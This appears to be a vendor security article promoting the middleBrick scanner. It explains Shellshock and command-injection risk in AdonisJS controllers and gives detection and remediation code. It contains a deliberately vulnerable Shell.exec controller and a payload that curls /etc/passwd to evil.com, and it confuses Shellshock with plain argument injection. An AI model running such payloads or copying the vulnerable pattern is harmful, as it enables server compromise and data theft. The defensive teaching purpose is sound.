Shellshock in Adonisjs
How Shellshock Manifests in Adonisjs
Shellshock (CVE-2014-6271) is a critical vulnerability in the Bash shell that allows arbitrary command execution via maliciously crafted environment variables. While Adonisjs itself is a Node.js framework and not directly vulnerable, applications built with Adonisjs can inherit this risk when they invoke system commands that ultimately rely on a vulnerable Bash installation. This typically occurs when Adonisjs applications use Node's child_process module (often wrapped by Adonis's Shell or Process providers) to run shell scripts or system utilities.
The attack pattern involves an adversary injecting Bash function definitions followed by malicious commands into an environment variable (e.g., HTTP_USER_AGENT). If the vulnerable Adonisjs application passes user-controlled input (like request headers or parameters) to a shell-executed command, the injected payload can execute. For example, an Adonisjs controller processing a user-supplied filename might use Shell.exec('convert ' + filename + ' output.jpg'). If filename contains a Shellshock payload, it executes when the command runs.
Adonisjs-specific risk paths include:
- File processing routes: Controllers handling uploads or image manipulation using system tools like ImageMagick (
convert,identify). - System integration services: Controllers that wrap legacy shell scripts for tasks like reporting or data import/export.
- Debug or admin endpoints: Development routes that expose system command execution for testing (often left in production).
Here is a vulnerable Adonisjs controller example:
// app/Controllers/Http/ImageController.ts
import { Shell } from '@ioc:Adonis/Core/Shell'
export default class ImageController {
public async convert({ request }) {
const filename = request.input('file')
// VULNERABLE: user input passed directly to shell via Shell.exec
const output = await Shell.exec(`convert ${filename} -resize 50% output.jpg`)
return output.stdout
}
}If an attacker sends file=() { :;}; /bin/bash -c 'curl http://evil.com?leak=$(cat /etc/passwd)', the Shellshock payload executes on the server, exfiltrating /etc/passwd.
AdonisJS-Specific Detection
Detecting Shellshock in Adonisjs applications requires identifying where user input flows into shell-executed commands. Manual code review should focus on any use of Shell.exec, Shell.spawn, or direct require('child_process') within Adonisjs controllers, services, or middleware. Look for concatenation or interpolation of request parameters, headers, or cookies into command strings.
Dynamic scanning is more effective. middleBrick's Input Validation check tests for command injection patterns that could trigger Shellshock. When scanning an Adonisjs API endpoint, middleBrick submits payloads like () { :;}; echo VULNERABLE in various input vectors (query params, JSON body, headers) and analyzes responses for signs of command execution (e.g., reflected payloads, error messages, timing differences).
For example, scanning the vulnerable /convert endpoint above with middleBrick would likely produce a finding under the Input Validation category with high severity, indicating potential command injection. The report includes the exact payload used and the response snippet that confirmed execution.
You can run this scan yourself using middleBrick's CLI tool:
middlebrick scan https://your-adonis-api.com/convertOr integrate it into your CI/CD pipeline with the middleBrick GitHub Action to automatically scan staging Adonisjs deployments before merge. The action can be configured to fail the build if a high-severity command injection finding appears, preventing vulnerable code from reaching production.
middleBrick also correlates findings with your OpenAPI/Swagger spec (if available) to map vulnerable endpoints to their documented parameters, providing precise remediation guidance for Adonisjs developers.
AdonisJS-Specific Remediation
Remediating Shellshock risks in Adonisjs involves eliminating the possibility of user input reaching a shell interpreter. The primary strategy is to avoid shell execution entirely when possible. If system commands are necessary, use Node's child_process.execFile or spawn with the shell: false option (Adonisjs's Shell.exec uses a shell by default, so bypass it).
1. Use execFile for fixed commands with arguments:
// Safe: using execFile with argument array
import { execFile } from 'node:child_process'
export default class ImageController {
public async convert({ request }) {
const filename = request.input('file')
// Validate filename is a simple basename without special chars
if (!/^[a-zA-Z0-9._-]+$/.test(filename)) {
throw new Error('Invalid filename')
}
// execFile does not use a shell, so no Shellshock
const { stdout } = await new Promise((resolve, reject) => {
execFile('convert', [filename, '-resize', '50%', 'output.jpg'], (err, out) => {
err ? reject(err) : resolve(out)
})
})
return stdout
}
}2. Leverage Adonisjs Validator for strict input constraints:
import { schema, rules } from '@ioc:Adonis/Core/Validator'
const convertSchema = schema.create({
file: schema.string([
rules.matches(/^[a-zA-Z0-9._-]+$/), // Allow only safe chars
rules.maxLength(100)
])
})
// In controller
public async convert({ request, response }) {
const validated = await this.validator.validate(convertSchema, request.all())
// validated.file is now safe for execFile
// ... rest of safe execFile code
}3. Avoid passing user data as environment variables: Some Adonisjs libraries or custom code might set process.env from request data. Never do this, as Shellshock exploits environment variables.
4. Patch the underlying system: Ensure the server's Bash is updated to a version not vulnerable to Shellshock (most modern distributions are patched). However, defense-in-depth requires application-level fixes because you cannot guarantee all server environments are patched.
After applying these fixes, rescan the endpoint with middleBrick. The Input Validation finding should disappear, and your security score will improve. For continuous assurance, use middleBrick's Pro plan to monitor the endpoint regularly and receive alerts if a regression introduces a similar vulnerability.